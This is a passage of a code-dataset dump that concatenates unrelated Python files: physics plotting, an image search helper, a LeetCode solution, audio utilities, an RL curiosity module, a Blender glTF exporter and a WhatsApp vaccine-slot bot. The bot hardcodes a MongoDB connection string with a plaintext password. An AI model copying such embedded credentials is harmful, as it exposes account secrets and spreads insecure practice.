\"data\"],\n\t choices=[\"ztt\", \"zl\", \"zj\", \"ttj\", \"vv\", \"wj\", \"qcd\", \"ggh\", \"qqh\", \"vh\", \"htt\", \"data\"],\n\t help=\"Samples. [Default: %(default)s]\")\n\tparser.add_argument(\"--channels\", nargs=\"+\", required=True,\n\t choices=[\"ee\", \"em\", \"et\", \"mm\", \"mt\", \"tt\"],\n\t help=\"Channels.\")\n\tparser.add_argument(\"--categories\", nargs=\"+\", default=[None],\n\t help=\"Categories. [Default: %(default)s]\")\n\tparser.add_argument(\"-w\", \"--weight\", default=\"1.0\",\n\t help=\"Additional weight (cut) expression. [Default: %(default)s]\")\n\tparser.add_argument(\"-m\", \"--higgs-masses\", nargs=\"+\", default=[\"125\"],\n\t help=\"Higgs masses. [Default: %(default)s]\")\n\tparser.add_argument(\"--analysis-modules\", default=[], nargs=\"+\",\n\t help=\"Additional analysis Modules. [Default: %(default)s]\")\n\tparser.add_argument(\"-a\", \"--args\", default=\"--plot-modules PlotRootHtt\",\n\t help=\"Additional Arguments for HarryPlotter. [Default: %(default)s]\")\n\tparser.add_argument(\"-n\", \"--n-processes\", type=int, default=1,\n\t help=\"Number of (parallel) processes. [Default: %(default)s]\")\n\tparser.add_argument(\"-f\", \"--n-plots\", type=int,\n\t help=\"Number of plots. [Default: all]\")\n\n\targs = parser.parse_args()\n\tlogger.initLogger(args)\n\t\n\tlist_of_samples = [getattr(samples.Samples, sample) for sample in args.samples]\n\tsample_settings = samples.Samples()\n\t\n\targs.categories = [None if category == \"None\" else category for category in args.categories]\n\t\n\tconfigs = []\n\tfor channel in args.channels:\n\t\tfor category in args.categories:\n\t\t\t\n\t\t\tconfigs.append(sample_settings.get_config(\n\t\t\t\t\tsamples=list_of_samples,\n\t\t\t\t\tchannel=channel,\n\t\t\t\t\tcategory=category,\n\t\t\t\t\thiggs_masses=args.higgs_masses,\n\t\t\t\t\tnormalise_signal_to_one_pb=False\n\t\t\t))\n\t\t\t\n\t\t\tconfigs[-1].setdefault(\"analysis_modules\", []).append(args.analysis_modules)\n\t\t\tconfigs[-1][\"directories\"] = [args.input_dir]\n\t\t\tconfigs[-1][\"weights\"] = [\"({w1})*({w2})\".format(w1=weight, w2=args.weight) for weight in configs[-1].get(\"weights\", [\"1.0\"])]\n\t\n\thiggs_plotter = higgsplot.HiggsPlotter(list_of_config_dicts=configs, list_of_args_strings=[args.args], n_processes=args.n_processes, n_plots=args.n_plots)\n\n","repo_name":"cms-analysis/HiggsAnalysis-KITHiggsToTauTau","sub_path":"scripts/makePlots_htautauPlots.py","file_name":"makePlots_htautauPlots.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"19"} +{"seq_id":"32145239519","text":"import numpy as np\n\nclass Searcher:\n\tdef __init__(self, index):\n\t\t# store our index of images\n\t\tself.index = index\n\n\tdef search(self, queryFeatures):\n\t\t# initialize our dictionary of results\n\t\tresults = {}\n\t\t# loop over the index\n\t\tfor (k, features) in self.index.items():\n\t\t\td = self.chi2_distance(features, queryFeatures)\n\t\t\tresults[k] = d\n\t\t# sort our results, so that the smaller distances (i.e. the\n\t\t# more relevant images are at the front of the list)\n\t\tresults = sorted([(v, k) for (k, v) in results.items()])\n\t\t# return our results\n\t\treturn results\n\n\tdef chi2_distance(self, histA, histB, eps = 1e-10):\n\t\t# compute the chi-squared distance\n\t\td = 0.5 * np.sum([((a - b) ** 2) / (a + b + eps)\n\t\t\tfor (a, b) in zip(histA, histB)])\n\t\treturn d","repo_name":"GrigorySamokhin/3D-RGB-Color-Histogram-Image-Retrieval","sub_path":"searcher.py","file_name":"searcher.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"33224881779","text":"# 783. Minimum Distance Between BST Nodes\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def minDiffInBST(self, root: Optional[TreeNode]) -> int:\n num = []\n \n def dfs(root, num):\n if root == None:\n return\n dfs(root.left, num)\n num.append(root.val)\n dfs(root.right, num)\n \n dfs(root, num)\n res = float('inf') # 양의 무한대\n for i in range(len(num)-1): # O(n)\n diff = num[i+1] - num[i]\n res = min(diff, res)\n \n return res","repo_name":"Gitakkkk/PS","sub_path":"Search/Easy/783.py","file_name":"783.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"1528506706","text":"import csv\nimport matplotlib.pyplot as plt\none = []\nfour = []\nsixt = []\nfor row in open('./1.csv', newline='\\r\\n'):\n t, gf = row.split(',')\n t = float(t)\n gf = float(gf)*1000\n one.append(t)\nfor row in open('./4.csv', newline='\\r\\n'):\n t, gf = row.split(',')\n t = float(t)\n gf = float(gf)*1000\n four.append(t)\nfor row in open('./16.csv', newline='\\r\\n'):\n t, gf = row.split(',')\n t = float(t)\n gf = float(gf)*1000\n sixt.append(t)\n\nx = [100, 200, 300, 400, 500, 600, 700, 800, 900, 1000, 1100,\n 1200, 1300, 1400, 1500, 1600, 1700, 1800, 1900, 2000]\nfig, ax = plt.subplots()\nax.plot(x, one, linewidth=1.8, label=\"1 process\", marker=\"o\")\nax.plot(x, four, linewidth=1.8, label=\"4 processes\", marker=\".\")\nax.plot(x, sixt, linewidth=1.8, label=\"16 processes\", marker=\"*\")\nplt.legend()\nplt.xlabel('square matrix size')\nplt.xticks(list(range(0, max(x)+100, 200)),\n [str(i) for i in range(0, max(x)+100, 200)])\nplt.ylabel('GFLOPS')\n\nax.set(xlim=(0, 2100), ylim=(0, 25000*1.1))\nplt.savefig('./3.png')\n","repo_name":"BI1LQV/parallel-program-homework","sub_path":"homework5-summa/newplt.py","file_name":"newplt.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"10794773909","text":"import csv\nfrom pymongo import MongoClient\nfrom flask import Flask, request\nfrom twilio.twiml.messaging_response import MessagingResponse\nimport json\nfrom pymongo.mongo_client import MongoClient\nfrom fetchdata import get_data\nfrom report_pdf import gen_pdf\n\n\nclient = MongoClient(\n \"mongodb+srv://ujjwal:Ujjwal.16@cluster0.hnhs0.mongodb.net/myFirstDatabase?retryWrites=true&w=majority\")\ndb = client['whatsapp']\ncollection = db['cowin_center']\n\napp = Flask(__name__)\n\n\n@app.route(\"/sms\", methods=[\"GET\", \"POST\"])\ndef reply():\n num = request.form.get(\"From\")\n num = num.replace(\"whatsapp:\", \"\")\n print(num)\n msg_text = request.form.get(\"Body\")\n if \",\" in msg_text:\n pin = msg_text.split(\",\")[0]\n date = msg_text.split(\",\")[1]\n x = collection.find_one({\"NUMBER\": num})\n try:\n status = x[\"status\"]\n except:\n pass\n if(bool(x) == False):\n collection.insert_one({\"NUMBER\": num, \"status\": \"first\"})\n msg = MessagingResponse()\n resp = msg.message(\"\"\"Hello this is Cowin-bot,developed by Ujjwal Sharma, to get covid vaccine availability related informaion please follow the below\nenter your pincode and date separated by comma, for example if your pincode is 110045 and date you want for 15 th may 2021, then your input should be \n110045,15-05-2021\"\"\")\n return (str(msg))\n else:\n if (status == \"first\"):\n data = get_data(pin, date)\n msg = MessagingResponse()\n\n if (data == \"invalid pincode\"):\n resp = msg.message(\"please entre valid pincode\")\n return (str(msg))\n elif (data == \"no centre\"):\n resp = msg.message(\n \"no centre found for your given input ,please try again later or else try with find with nearest pincode\")\n return (str(msg))\n else:\n if(len(data) < 15):\n parse_data = json.dumps(data)\n parse_data = parse_data.replace(\"{\", \"\")\n parse_data = parse_data.replace(\"}\", \"\\n\\n\")\n parse_data = parse_data.replace(\"[\", \"\")\n parse_data = parse_data.replace(\"]\", \"\")\n parse_data = parse_data.replace(\",\", \"\\n\")\n resp = msg.message(parse_data)\n # print(parse_data)\n return (str(msg))\n else:\n print(\"abc\")\n resp1 = msg.message(\n \"please find the pdf for more information\")\n gen_pdf(num, data)\n resp1.media(\n \"https://991f0ae5e733.ngrok.io/cowin_center/\"+num+\".pdf\")\n return(str(msg))\n\n else:\n msg = MessagingResponse()\n resp = msg.message(\"\"\"Hello this is Cowin-bot,developed by Ujjwal Sharma, to get covid vaccine availability related informaion please follow the below\nenter your pincode and date separated by comma, for example if your pincode is 110045 and date you want for 15 th may 2021, then your input should be \n110045,15-05-2021\"\"\")\n return (str(msg))\n\n print(num)\n\n# https://cdn-api.co-vin.in/api/v2/appointment/sessions/public/calendarByPin?pincode=110001&date=31-03-2021\n\n\n#headers={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}\nif __name__ == \"__main__\":\n app.run(port=5000)\n","repo_name":"ugwls/Hackathon-whatsapp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"42923875744","text":"import copy\nimport numpy as np\nimport scipy.io.wavfile\nimport scipy.signal\n\nfrom . import utils as ut\n\nimport pdb\n\ndef load_sound(wav_fname):\n rate, samples = scipy.io.wavfile.read(wav_fname)\n times = (1./rate) * np.arange(len(samples))\n return Sound(times, rate, samples)\n\n\nclass Sound:\n def __init__(self, times, rate, samples=None):\n # Allow Sound(samples, sr)\n if samples is None:\n samples = times\n times = None\n if samples.dtype == np.float32:\n samples = samples.astype('float64')\n\n self.rate = rate\n # self.samples = ut.atleast_2d_col(samples)\n self.samples = samples\n\n self.length = samples.shape[0]\n if times is None:\n self.times = np.arange(len(self.samples)) / float(self.rate)\n else:\n self.times = times\n\n def copy(self):\n return copy.deepcopy(self)\n\n def parts(self):\n return (self.times, self.rate, self.samples)\n\n def __getslice__(self, *args):\n return Sound(self.times.__getslice__(*args), self.rate,\n self.samples.__getslice__(*args))\n\n def duration(self):\n return self.samples.shape[0] / float(self.rate)\n\n def normalized(self, check=True):\n if self.samples.dtype == np.double:\n assert (not check) or np.max(np.abs(self.samples)) <= 4.\n x = copy.deepcopy(self)\n x.samples = np.clip(x.samples, -1., 1.)\n return x\n else:\n s = copy.deepcopy(self)\n s.samples = np.array(s.samples, 'double') / np.iinfo(s.samples.dtype).max\n s.samples[s.samples < -1] = -1\n s.samples[s.samples > 1] = 1\n return s\n\n def unnormalized(self, dtype_name='int32'):\n s = self.normalized()\n inf = np.iinfo(np.dtype(dtype_name))\n samples = np.clip(s.samples, -1., 1.)\n samples = inf.max * samples\n samples = np.array(np.clip(samples, inf.min, inf.max), dtype_name)\n s.samples = samples\n return s\n\n def sample_from_time(self, t, bound=False):\n if bound:\n return min(max(0, int(np.round(t * self.rate))), self.samples.shape[0]-1)\n else:\n return int(np.round(t * self.rate))\n\n # st = sample_from_time\n\n def shift_zero(self):\n s = copy.deepcopy(self)\n s.times -= s.times[0]\n return s\n\n def select_channel(self, c):\n s = copy.deepcopy(self)\n s.samples = s.samples[:, c]\n return s\n\n def left_pad_silence(self, n):\n if n == 0:\n return self.shift_zero()\n else:\n if np.ndim(self.samples) == 1:\n samples = np.concatenate([[0] * n, self.samples])\n else:\n samples = np.vstack(\n [np.zeros((n, self.samples.shape[1]), self.samples.dtype), self.samples])\n return Sound(None, self.rate, samples)\n\n def right_pad_silence(self, n):\n if n == 0:\n return self.shift_zero()\n else:\n if np.ndim(self.samples) == 1:\n samples = np.concatenate([self.samples, [0] * n])\n else:\n samples = np.vstack([self.samples, np.zeros(\n (n, self.samples.shape[1]), self.samples.dtype)])\n return Sound(None, self.rate, samples)\n\n def pad_slice(self, s1, s2):\n assert s1 < self.samples.shape[0] and s2 >= 0\n s = self[max(0, s1): min(s2, self.samples.shape[0])]\n s = s.left_pad_silence(max(0, -s1))\n s = s.right_pad_silence(max(0, s2 - self.samples.shape[0]))\n return s\n\n def to_mono(self, force_copy= True):\n s = copy.deepcopy(self)\n s.samples = make_mono(s.samples)\n return s\n\n def slice_time(self, t1, t2):\n return self[self.st(t1): self.st(t2)]\n\n @property\n def nchannels(self):\n return 1 if np.ndim(self.samples) == 1 else self.samples.shape[1]\n\n def save(self, fname):\n s = self.unnormalized('int16')\n scipy.io.wavfile.write(fname, s.rate, s.samples.transpose())\n\n def resampled(self, new_rate, clip= True):\n if new_rate == self.rate:\n return copy.deepcopy(self)\n else:\n #assert self.samples.shape[1] == 1\n return Sound(None, new_rate, self.resample(self.samples, float(new_rate)/self.rate, clip= clip))\n\n def trim_to_size(self, n):\n return Sound(None, self.rate, self.samples[:n])\n\n def resample(self, signal, sc, clip = True, num_samples = None):\n n = int(round(signal.shape[0] * sc)) if num_samples is None else num_samples\n r = scipy.signal.resample(signal, n)\n \n if clip:\n r = np.clip(r, -1, 1)\n else: \n r = r.astype(np.int16)\n return r\n","repo_name":"XYPB/CondFoleyGen","sub_path":"specvqgan/onset_baseline/utils/sound.py","file_name":"sound.py","file_ext":"py","file_size_in_byte":4762,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"19"} +{"seq_id":"12646107229","text":"from io_ggltf import Constants as __c\nfrom io_ggltf.Core.Scoops import Node as NodeScoop\nfrom io_ggltf.Core.Managers import RedundancyManager as RM\nfrom io_ggltf.Core.Bucket import Bucket\nfrom io_ggltf.Core.Util import try_get_object\nfrom io_ggltf.Core.BlenderUtil import get_object_accessor\nfrom io_ggltf.Advanced import Settings, Attach, Scene\nfrom io_ggltf.Core import Util, BlenderUtil, ShowFunction\nimport bpy\nfrom io_ggltf.Core.Validation import FilterValidation\n\n#__linkChildCommand = lambda bucket, pID, cID: Linker.node_to_node(bucket=bucket, parentID=pID, childID=cID)\n__scoopCommand = lambda bucket, assignedID, objID, parent: NodeScoop.scoop(bucket=bucket, assignedID=assignedID, accessor=objID, parent=parent)\n\ndef based_on_object(bucket: Bucket, objAccessor, parent=None, checkRedundancies=None, name=None, autoAttachData=None, inSpace=None, sceneID=None) -> int:\n \"\"\"Create a node based on the object transformations\"\"\"\n\n obj = try_get_object(objAccessor)\n if parent == None:\n parent = Settings.get_setting(bucket, __c.BUCKET_SETTING_NODE_DEFAULT_PARENT_SPACE)\n\n if checkRedundancies == None:\n checkRedundancies = Settings.get_setting(bucket, __c.BUCKET_SETTING_REDUNDANCY_CHECK_NODE)\n if autoAttachData == None:\n autoAttachData = Settings.get_setting(bucket, __c.BUCKET_SETTING_NODE_AUTO_ATTACH_DATA)\n\n if checkRedundancies:\n redundant, nodeID = RM.register_unique(bucket, get_object_accessor(obj), __c.BUCKET_DATA_NODES)\n if redundant:\n return nodeID\n else:\n nodeID = RM.register_unsafe(bucket, get_object_accessor(obj), __c.BUCKET_DATA_NODES)\n\n if name != None:\n if type(name) == str:\n bucket.commandQueue[__c.COMMAND_QUEUE_NAMING].append((Util.rename_node, (bucket, nodeID, name)))\n else:\n raise Exception(f\"based_on_object: 'name' is expected to be a string, got {type(name)} instead.\")\n\n if type(parent) != bool and type(parent) != int and type(parent) != tuple:\n parent = BlenderUtil.get_object_accessor(Util.try_get_object(parent))\n if inSpace == None:\n inSpace = parent\n \n bucket.commandQueue[__c.COMMAND_QUEUE_NODE].append((__scoopCommand, (bucket, nodeID, get_object_accessor(obj), inSpace)))\n\n if autoAttachData:\n __add_mesh(bucket, obj)\n __add_skin(bucket, obj, filters=[Util.create_filter(\".*\", False)], blacklist={})\n\n __auto_parent(bucket, obj, nodeID, parent)\n\n if sceneID != None:\n Scene.append_node(bucket, sceneID, nodeID)\n\n return nodeID\n\ndef based_on_hierarchy(bucket: Bucket, topObjAccessor, blacklist = {}, parent=None, checkRedundancies=None, filters=[], autoAttachData=None, inSpace=None, sceneID=None) -> int:\n \"\"\"Create a node hierarcht based on the object and its children transformations\"\"\"\n\n def __recursive(bucket: Bucket, obj, blacklist, parent, checkRedundancies, filters, autoAttachData, inSpace):\n if obj.name in blacklist or not Util.name_passes_filters(filters, obj.name):\n return None\n\n childrenIDs = []\n if __object_is_collection_instance(obj):\n childrenIDs.extend(based_on_collection(bucket=bucket, collectionName=get_object_accessor(obj.instance_collection), blacklist=blacklist, parent=True, checkRedundancies=checkRedundancies))\n else:\n for c in obj.children:\n if obj.type == __c.BLENDER_TYPE_ARMATURE and c.parent_type == __c.BLENDER_TYPE_BONE: # ignore children that belong to the armature of the current object\n continue\n childID = __recursive(bucket, c, blacklist, True, checkRedundancies, filters, autoAttachData, True)\n if childID != None:\n childrenIDs.append(childID)\n\n if checkRedundancies:\n redundant, nodeID = RM.register_unique(bucket, get_object_accessor(obj), __c.BUCKET_DATA_NODES)\n if redundant:\n return nodeID\n else:\n nodeID = RM.register_unsafe(bucket, get_object_accessor(obj), __c.BUCKET_DATA_NODES)\n\n for c in childrenIDs:\n Attach.node_to_node(bucket, c, nodeID)\n \n if type(parent) != bool and type(parent) != int and type(parent) != tuple:\n parent = BlenderUtil.get_object_accessor(Util.try_get_object(parent))\n if inSpace == None:\n inSpace = parent\n bucket.commandQueue[__c.COMMAND_QUEUE_NODE].append((__scoopCommand, (bucket, nodeID, get_object_accessor(obj), inSpace)))\n if autoAttachData:\n __add_mesh(bucket, obj)\n __add_skin(bucket, obj, blacklist, filters)\n return nodeID\n\n filters = FilterValidation.validate_filter_arg(filters)\n\n obj = try_get_object(topObjAccessor)\n\n if parent == None:\n parent = Settings.get_setting(bucket, __c.BUCKET_SETTING_NODE_DEFAULT_PARENT_SPACE)\n if checkRedundancies == None:\n checkRedundancies = Settings.get_setting(bucket, __c.BUCKET_SETTING_REDUNDANCY_CHECK_NODE)\n if autoAttachData == None:\n autoAttachData = Settings.get_setting(bucket, __c.BUCKET_SETTING_NODE_AUTO_ATTACH_DATA)\n\n if type(parent) != bool and type(parent) != int and type(parent) != tuple:\n parent = BlenderUtil.get_object_accessor(Util.try_get_object(parent))\n if inSpace == None:\n inSpace = parent\n topNodeID = __recursive(bucket, obj, blacklist, parent, checkRedundancies, filters, autoAttachData, inSpace)\n\n __auto_parent(bucket, obj, topNodeID, parent)\n\n if sceneID != None:\n Scene.append_node(bucket, sceneID, topNodeID)\n\n return topNodeID\n\ndef __object_is_collection_instance(obj) -> bool:\n return obj.instance_type == __c.BLENDER_INSTANCE_TYPE_COLLECTION\n\ndef __get_collection_top_objects(collection, blacklist={}):\n topObjects = []\n for obj in collection.objects:\n if obj.parent == None and not obj.name in blacklist:\n topObjects.append(obj)\n return topObjects\n\ndef based_on_collection(bucket: Bucket, collectionName, blacklist={}, parent=None, checkRedundancies=None, filters=[], autoAttachData=None, inSpace=None, sceneID=None) -> list:\n \"\"\"Create node hierarchies based on all object found in collection\"\"\"\n\n filters = FilterValidation.validate_filter_arg(filters)\n\n if checkRedundancies == None:\n checkRedundancies = Settings.get_setting(bucket, __c.BUCKET_SETTING_REDUNDANCY_CHECK_NODE)\n if parent == None:\n parent = Settings.get_setting(bucket, __c.BUCKET_SETTING_NODE_DEFAULT_PARENT_SPACE)\n if autoAttachData == None:\n autoAttachData = Settings.get_setting(bucket, __c.BUCKET_SETTING_NODE_AUTO_ATTACH_DATA)\n\n collection = bpy.data.collections.get(collectionName)\n\n topObjects = __get_collection_top_objects(collection)\n\n if type(parent) != bool and type(parent) != int and type(parent) != tuple:\n parent = BlenderUtil.get_object_accessor(Util.try_get_object(parent))\n if inSpace == None:\n inSpace = parent\n\n nodeIDs = []\n for topObj in topObjects:\n if not topObj.name in blacklist and Util.name_passes_filters(filters, topObj.name):\n nodeIDs.append(based_on_hierarchy(bucket, get_object_accessor(topObj), blacklist, parent, checkRedundancies, filters=filters, inSpace=inSpace))\n\n if sceneID != None:\n for n in nodeIDs:\n Scene.append_node(bucket, sceneID, n)\n\n return nodeIDs\n\ndef __auto_parent(bucket: Bucket, childObj, childID, parent):\n if type(parent) == str:\n try:\n parentObj = Util.try_get_object(parent)\n except:\n return\n parent = (parent, None) # this will trigger == tuple below\n\n if type(parent) == bool:\n if parent:\n if childObj.parent != None:\n parent = BlenderUtil.get_parent_accessor(BlenderUtil.get_object_accessor(childObj)) # this will trigger == tuple below\n else:\n return\n else:\n return\n\n if type(parent) == int:\n Attach.node_to_node(bucket, childID, parent)\n return\n\n if type(parent) == tuple:\n parentID = __get_parent_id(bucket, parent)\n Attach.node_to_node(bucket, childID, parentID)\n return\n\n raise Exception(f\"Failed to resolve parent for '{BlenderUtil.get_object_accessor(childObj)}', parent accessor was: '{parent}'. Make sure that parent is added before the child\")\n\ndef __get_parent_id(bucket: Bucket, accessor):\n try:\n id = RM.fetch_unique(bucket, accessor)\n if id != None:\n return id\n except:\n pass\n\n id = RM.fetch_last_id_from_unsafe(bucket, accessor, __c.BUCKET_DATA_NODES)\n if id != None:\n return id\n\n raise Exception(f\"{accessor} needs to be added before it's children can access it\")\n\ndef __add_mesh(bucket, obj):\n if Settings.get_setting(bucket, __c.BUCKET_SETTING_INCLUDE_MESH):\n if BlenderUtil.object_is_meshlike(obj):\n from io_ggltf.Advanced import Mesh\n Mesh.based_on_object(bucket, BlenderUtil.get_object_accessor(obj), autoAttach=True)\n\ndef __add_skin(bucket, obj, blacklist, filters):\n if Settings.get_setting(bucket, __c.BUCKET_SETTING_INCLUDE_SKIN):\n if BlenderUtil.object_is_armature(obj):\n from io_ggltf.Advanced import Skin\n Skin.based_on_object(bucket, BlenderUtil.get_object_accessor(obj), autoAttach=True, attachmentBlacklist=blacklist, attachmentFilters=filters)\n\ndef dummy(bucket: Bucket, name: str, sceneID = None):\n \"\"\"Create a node that has no transformation\"\"\"\n\n id = RM.register_dummy(bucket, __c.BUCKET_DATA_NODES)\n bucket.commandQueue[__c.COMMAND_QUEUE_NODE].append((NodeScoop.make_dummy, (bucket, id, name)))\n\n if sceneID != None:\n Scene.append_node(bucket, sceneID, id)\n\n return id\n\nShowFunction.Register(based_on_object, \"https://github.com/amadeusz-zackiewicz/io_ggltf/wiki/Node-Module#based_on_object\")\nShowFunction.Register(based_on_hierarchy, \"https://github.com/amadeusz-zackiewicz/io_ggltf/wiki/Node-Module#based_on_hierarchy\")\nShowFunction.Register(based_on_collection, \"https://github.com/amadeusz-zackiewicz/io_ggltf/wiki/Node-Module#based_on_collection\")\nShowFunction.Register(dummy, \"https://github.com/amadeusz-zackiewicz/io_ggltf/wiki/Node-Module#dummy\")","repo_name":"amadeusz-zackiewicz/io_ggltf","sub_path":"Advanced/Node.py","file_name":"Node.py","file_ext":"py","file_size_in_byte":10252,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"73039570604","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 6 18:10:22 2021\n\n@author: stuart\n\"\"\"\n\n#show the explosion in recurant values\n\nimport matplotlib.pyplot as plt\n\nplt.close('all')\n\ndef calculate_recurrance(ns, z0):\n \n powerLevel = 2\n\n zn = 0\n \n outX = []\n outZ = []\n for n in ns:\n \n #break if we've hit an insanely high value that causes an overflow error\n try:\n zn = zn**powerLevel + z0\n except:\n break\n \n #store these values\n outX.append(n)\n outZ.append(zn)\n \n #break if the value is exploding\n if abs(zn) > 5000:\n break\n \n #out.append(abs(zn))\n \n return outX, outZ\n\n###################################\n### End of function definitions ###\n###################################\n\n#set the values we are going to investigate\nvalues = [complex(0.5, 0.5),\n complex(0.3, 0.7),\n complex(-0.3, 0.5),\n complex(0.3, 0.5)\n ]\n \n#the points we want to investigate\nxs = list(range(0, 101))\n\nfig, ax = plt.subplots(2, 2)\nyi = 0\nfor i, value in enumerate(values):\n \n xi = i % 2\n \n \n [N, Z] = calculate_recurrance(xs, value)\n\n ax[yi, xi].plot(N, Z)\n ax[yi, xi].set_xlabel('n')\n ax[yi, xi].set_ylabel(r'z$_{n}$')\n ax[yi, xi].set_title(str(value.real) + ' + ' + str(value.imag) + 'i')\n\n if xi == 1:\n \n yi += 1\n\n\nplt.show()","repo_name":"bauhuasbadguy/julia_sets_tools","sub_path":"scripts/show_explosion.py","file_name":"show_explosion.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"26231659025","text":"import math\r\ndef isprime(n): # 判断素数\r\n if n == 1:\r\n return False\r\n elif n == 2:\r\n return True\r\n else:\r\n for i in range(2, int(math.sqrt(n) + 1)):\r\n if n % i == 0:\r\n return False\r\n return True\r\ndef thonsand(n): # 生成若干个素数,返回素数list\r\n a = []\r\n for i in range(1, n + 1):\r\n if isprime(i):\r\n a.append(i)\r\n return a\r\ndef isGDBH(n):\r\n a = []\r\n ls = thonsand(n)\r\n for i in ls:\r\n for j in ls:\r\n if i<=j:\r\n if n == i + j:\r\n a.append(str(n)+\"=\"+str(i)+\"+\"+str(j))\r\n return a\r\nif __name__==\"__main__\":\r\n n = int(input(\"请输入一个6-100之间的偶数:\"))\r\n print(isGDBH(n))","repo_name":"shakeboy/python","sub_path":"自学代码/experience/实验五/08.验证哥的巴赫猜想.py","file_name":"08.验证哥的巴赫猜想.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"14943469528","text":"from collections import defaultdict\n\nimport torch\nimport torch.nn.functional as F\nfrom pandemonium import Horde, GVF\nfrom pandemonium.continuations import ConstantContinuation\nfrom pandemonium.cumulants import CombinedCumulant, Fitness\nfrom pandemonium.experience import Experience\nfrom pandemonium.implementations.a2c import AC\nfrom pandemonium.implementations.icm import Curiosity, ICM\nfrom pandemonium.policies import Greedy\nfrom pandemonium.utilities.utilities import get_all_members\n\n\nclass ImpactDrivenCuriosity(Curiosity):\n r\"\"\" A slight upgrade of curiosity-based intrinsic reward.\n\n Uses the __actual__ next state features $\\phi(s_{t+1})$ instead of the\n __predicted__ next state features $\\hat{\\phi}(s_{t+1})$ as a target in\n L2 loss. Moreover, the loss is normalized by the episodic feature\n pseudo-count, to avoid alternating between very different latents in a loop.\n \"\"\"\n\n def __init__(self, icm: ICM):\n super().__init__(icm=icm)\n self.counter = defaultdict(lambda: 1.)\n\n def __call__(self, experience: Experience):\n super().__call__(experience)\n counts = self.update_visitation_counts(experience)\n φ0, φ1 = experience.info['φ0'], experience.info['φ1']\n intrinsic_reward = torch.norm(φ1 - φ0, p=2, dim=1) / counts\n experience.info['intrinsic_reward'] = intrinsic_reward.mean().item()\n return intrinsic_reward.detach()\n\n def update_visitation_counts(self, experience: Experience) -> torch.Tensor:\n\n # Save and reset episodic counters\n if any(experience.done) and self.counter:\n counts = list(self.counter.values())\n experience.info['max_visitations'] = max(counts)\n experience.info['mean_visitations'] = sum(counts) / len(counts)\n experience.info['min_visitations'] = min(counts)\n self.counter = defaultdict(lambda: 1.)\n\n # Update the counts using states in the trajectory\n counts = list()\n for i in range(len(experience)):\n s = experience.info['agent_pos'][i]\n # s = tuple(experience.s1[i].view(-1).tolist())\n self.counter[s] += 1\n counts.append(self.counter[s])\n return torch.tensor(counts, device=experience.x1.device)\n\n\ndef create_horde(config, env, feature_extractor, policy) -> Horde:\n demons = list()\n\n cumulant = Fitness(env)\n\n if config.get('icm_weight', 1.):\n from copy import deepcopy\n dynamics_feature_extractor = deepcopy(feature_extractor)\n\n icm = ICM(\n feature=dynamics_feature_extractor,\n behavior_policy=policy,\n beta=config.get('beta', 0.2)\n )\n demons.append(icm)\n cumulant = CombinedCumulant(\n cumulants={Fitness(env), ImpactDrivenCuriosity(icm)},\n weights=torch.tensor([config.get('er_weight', 1.),\n config.get('ir_weight', 0.1)]),\n )\n\n # Note that order matters! When we iterate over a collection of demons\n # in horde.py, we will start with the last demon, ICM, which\n # will share information required for computing intrinsic reward in the\n # main agent's learning loop.\n demons.insert(0, AC(\n gvf=GVF(\n target_policy=Greedy(\n feature_dim=feature_extractor.feature_dim,\n action_space=env.action_space\n ),\n cumulant=cumulant,\n continuation=ConstantContinuation(config['gamma'])),\n behavior_policy=policy,\n feature=feature_extractor,\n criterion=F.mse_loss,\n trace_decay=config.get('trace_decay', 1) # n-step\n ))\n weights = [\n config.get('ac_weight', 1.),\n config.get('icm_weight', 1.)\n ]\n\n device = torch.device('cpu')\n demon_weights = torch.tensor(\n data=[w for w in weights if w],\n dtype=torch.float\n ).to(device)\n\n return Horde(\n demons=demons,\n device=device,\n aggregation_fn=lambda losses: demon_weights.dot(losses),\n to_transitions=True,\n )\n\n\n__all__ = get_all_members(__name__)\n","repo_name":"konichuvak/pandemonium","sub_path":"pandemonium/implementations/ride.py","file_name":"ride.py","file_ext":"py","file_size_in_byte":4106,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"28956680209","text":"from tensorflow.python.keras.layers import Conv2D, BatchNormalization, Activation\r\n\r\n\r\nclass Resnet():\r\n def __init__(self, filters, strides=1, residual_path=False):\r\n super(Resnet, self).__init__()\r\n self.filters = filters\r\n self.strides = strides\r\n self.residual_path = residual_path\r\n\r\n self.c1 = Conv2D(filters, (3, 3), strides=strides, padding=\"same\", use_bias=False)\r\n self.b1 = BatchNormalization()\r\n self.a1 = Activation(\"relu\")\r\n\r\n self.c2 = Conv2D(filters, (3, 3), strides==1, padding=\"same\", use_bias=False)\r\n self.b2 = BatchNormalization()\r\n\r\n if residual_path:\r\n self.down_c1 = Conv2D(filters, (1, 1), strides=strides, padding=\"same\", use_bias=False)\r\n self.down_b1 = BatchNormalization()\r\n\r\n self.a2 = Activation(\"relu\")\r\n\r\n def call(self, inputs):\r\n residual = inputs\r\n\r\n x = self.c1(inputs)\r\n x = self.b1(x)\r\n x = 